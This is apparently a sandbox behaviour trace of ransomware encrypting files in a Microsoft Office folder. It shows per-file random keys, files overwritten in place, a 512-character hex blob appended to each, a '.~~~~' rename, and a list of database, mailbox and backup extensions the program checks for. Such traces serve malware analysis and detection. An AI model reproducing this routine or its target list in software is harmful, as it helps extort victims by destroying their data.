	[0144.791] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.791] GetLastError () returned 0x0
	[0144.792] GetLastError () returned 0x0
	[0144.792] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.792] GetLastError () returned 0x0
	[0144.792] GetLastError () returned 0x0
	[0144.792] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.798] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.798] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.800] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.801] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.801] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.801] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.801] CloseHandle (hObject=0x104) returned 1
	[0144.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acda0
	[0144.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.~~~~")) returned 1
	[0144.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0144.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.804] GetLastError () returned 0x0
	[0144.805] RtlWakeConditionVariable () returned 0x0
	[0144.805] GetCurrentThreadId () returned 0x9f4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".scr") returned 0x0
	[0144.805] lstrlenW (lpString=".cmd") returned 4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".cmd") returned 0x0
	[0144.805] lstrlenW (lpString=".dll") returned 4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dll") returned 0x0
	[0144.805] lstrlenW (lpString=".bat") returned 4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".bat") returned 0x0
	[0144.805] lstrlenW (lpString=".cpl") returned 4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".cpl") returned 0x0
	[0144.805] lstrlenW (lpString=".sys") returned 4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".sys") returned 0x0
	[0144.805] lstrlenW (lpString=".msc") returned 4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".msc") returned 0x0
	[0144.805] lstrlenW (lpString=".com") returned 4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".com") returned 0x0
	[0144.805] lstrlenW (lpString=".lnk") returned 4
	[0144.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".lnk") returned 0x0
	[0144.806] lstrlenW (lpString=".msp") returned 4
	[0144.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".msp") returned 0x0
	[0144.806] lstrlenW (lpString=".pif") returned 4
	[0144.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".pif") returned 0x0
	[0144.806] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.808] lstrlenW (lpString=".sqb") returned 4
	[0144.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".sqb") returned 0x0
	[0144.808] lstrlenW (lpString=".ost") returned 4
	[0144.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".ost") returned 0x0
	[0144.808] lstrlenW (lpString=".txt") returned 4
	[0144.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".txt") returned 0x0
	[0144.808] lstrlenW (lpString=".mdt") returned 4
	[0144.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".mdt") returned 0x0
	[0144.809] lstrlenW (lpString=".BDB") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".BDB") returned 0x0
	[0144.809] lstrlenW (lpString=".eql") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".eql") returned 0x0
	[0144.809] lstrlenW (lpString=".DBF") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DBF") returned 0x0
	[0144.809] lstrlenW (lpString=".EQL") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".EQL") returned 0x0
	[0144.809] lstrlenW (lpString=".FDB") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".FDB") returned 0x0
	[0144.809] lstrlenW (lpString=".EDB") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".EDB") returned 0x0
	[0144.809] lstrlenW (lpString=".DACPAC") returned 7
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DACPAC") returned 0x0
	[0144.809] lstrlenW (lpString=".VHD") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".VHD") returned 0x0
	[0144.809] lstrlenW (lpString=".DBV") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DBV") returned 0x0
	[0144.809] lstrlenW (lpString=".dacpac") returned 7
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dacpac") returned 0x0
	[0144.809] lstrlenW (lpString=".sdf") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".sdf") returned 0x0
	[0144.809] lstrlenW (lpString=".accdb") returned 6
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".accdb") returned 0x0
	[0144.809] lstrlenW (lpString=".DBX") returned 4
	[0144.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DBX") returned 0x0
	[0144.809] lstrlenW (lpString=".MDT") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".MDT") returned 0x0
	[0144.810] lstrlenW (lpString=".SQB") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".SQB") returned 0x0
	[0144.810] lstrlenW (lpString=".vhd") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".vhd") returned 0x0
	[0144.810] lstrlenW (lpString=".bac") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".bac") returned 0x0
	[0144.810] lstrlenW (lpString=".mdf") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".mdf") returned 0x0
	[0144.810] lstrlenW (lpString=".BAK") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".BAK") returned 0x0
	[0144.810] lstrlenW (lpString=".BAC") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".BAC") returned 0x0
	[0144.810] lstrlenW (lpString=".dbs") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dbs") returned 0x0
	[0144.810] lstrlenW (lpString=".vhdx") returned 5
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".vhdx") returned 0x0
	[0144.810] lstrlenW (lpString=".NDF") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".NDF") returned 0x0
	[0144.810] lstrlenW (lpString=".dat") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dat") returned 0x0
	[0144.810] lstrlenW (lpString=".DBS") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DBS") returned 0x0
	[0144.810] lstrlenW (lpString=".CKP") returned 4
	[0144.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".CKP") returned 0x0
	[0144.810] lstrlenW (lpString=".edb") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".edb") returned 0x0
	[0144.811] lstrlenW (lpString=".PST") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".PST") returned 0x0
	[0144.811] lstrlenW (lpString=".dbf") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dbf") returned 0x0
	[0144.811] lstrlenW (lpString=".SQL") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".SQL") returned 0x0
	[0144.811] lstrlenW (lpString=".pst") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".pst") returned 0x0
	[0144.811] lstrlenW (lpString=".dbv") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dbv") returned 0x0
	[0144.811] lstrlenW (lpString=".SDF") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".SDF") returned 0x0
	[0144.811] lstrlenW (lpString=".dtxs") returned 5
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dtxs") returned 0x0
	[0144.811] lstrlenW (lpString=".db3") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".db3") returned 0x0
	[0144.811] lstrlenW (lpString=".OST") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".OST") returned 0x0
	[0144.811] lstrlenW (lpString=".dbx") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dbx") returned 0x0
	[0144.811] lstrlenW (lpString=".DB3") returned 4
	[0144.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DB3") returned 0x0
	[0144.811] lstrlenW (lpString=".DAT") returned 4
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DAT") returned 0x0
	[0144.812] lstrlenW (lpString=".VHDX") returned 5
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".VHDX") returned 0x0
	[0144.812] lstrlenW (lpString=".ndf") returned 4
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".ndf") returned 0x0
	[0144.812] lstrlenW (lpString=".DB") returned 3
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DB") returned 0x0
	[0144.812] lstrlenW (lpString=".sql") returned 4
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".sql") returned 0x0
	[0144.812] lstrlenW (lpString=".MYD") returned 4
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".MYD") returned 0x0
	[0144.812] lstrlenW (lpString=".DBT") returned 4
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DBT") returned 0x0
	[0144.812] lstrlenW (lpString=".ACCDB") returned 6
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".ACCDB") returned 0x0
	[0144.812] lstrlenW (lpString=".fdb") returned 4
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".fdb") returned 0x0
	[0144.812] lstrlenW (lpString=".bak") returned 4
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".bak") returned 0x0
	[0144.812] lstrlenW (lpString=".myd") returned 4
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".myd") returned 0x0
	[0144.812] lstrlenW (lpString=".DTXS") returned 5
	[0144.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".DTXS") returned 0x0
	[0144.813] lstrlenW (lpString=".ckp") returned 4
	[0144.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".ckp") returned 0x0
	[0144.813] lstrlenW (lpString=".dbt") returned 4
	[0144.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".dbt") returned 0x0
	[0144.813] lstrlenW (lpString=".db") returned 3
	[0144.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".db") returned 0x0
	[0144.813] lstrlenW (lpString=".TXT") returned 4
	[0144.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".TXT") returned 0x0
	[0144.813] lstrlenW (lpString=".MDF") returned 4
	[0144.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".MDF") returned 0x0
	[0144.813] lstrlenW (lpString=".bdb") returned 4
	[0144.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".bdb") returned 0x0
	[0144.813] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.813] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395960) returned 1
	[0144.815] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.815] CryptReleaseContext (hProv=0x395960, dwFlags=0x0) returned 1
	[0144.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.815] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26480514421) returned 1
	[0144.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbfb8d710, dwHighDateTime=0x1d60e1e)) 
	[0144.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fc50
	[0144.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fc50 | out: hHeap=0x300000) returned 1
	[0144.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0144.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0144.816] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.816] GetLastError () returned 0x0
	[0144.817] GetLastError () returned 0x0
	[0144.817] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.817] GetLastError () returned 0x0
	[0144.817] GetLastError () returned 0x0
	[0144.817] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.977] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.977] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.978] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.978] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.978] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.978] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.978] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.978] CloseHandle (hObject=0x104) returned 1
	[0144.978] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37efa0
	[0144.978] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css.~~~~")) returned 1
	[0144.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37efa0 | out: hHeap=0x300000) returned 1
	[0144.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.982] GetLastError () returned 0x0
	[0144.982] RtlWakeConditionVariable () returned 0x0
	[0144.982] GetCurrentThreadId () returned 0x9f4
	[0144.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".scr") returned 0x0
	[0144.982] lstrlenW (lpString=".cmd") returned 4
	[0144.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".cmd") returned 0x0
	[0144.982] lstrlenW (lpString=".dll") returned 4
	[0144.982] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".dll") returned 0x0
	[0144.982] lstrlenW (lpString=".bat") returned 4
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".bat") returned 0x0
	[0144.983] lstrlenW (lpString=".cpl") returned 4
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".cpl") returned 0x0
	[0144.983] lstrlenW (lpString=".sys") returned 4
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".sys") returned 0x0
	[0144.983] lstrlenW (lpString=".msc") returned 4
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".msc") returned 0x0
	[0144.983] lstrlenW (lpString=".com") returned 4
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".com") returned 0x0
	[0144.983] lstrlenW (lpString=".lnk") returned 4
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".lnk") returned 0x0
	[0144.983] lstrlenW (lpString=".msp") returned 4
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".msp") returned 0x0
	[0144.983] lstrlenW (lpString=".pif") returned 4
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch=".pif") returned 0x0
	[0144.983] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.983] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
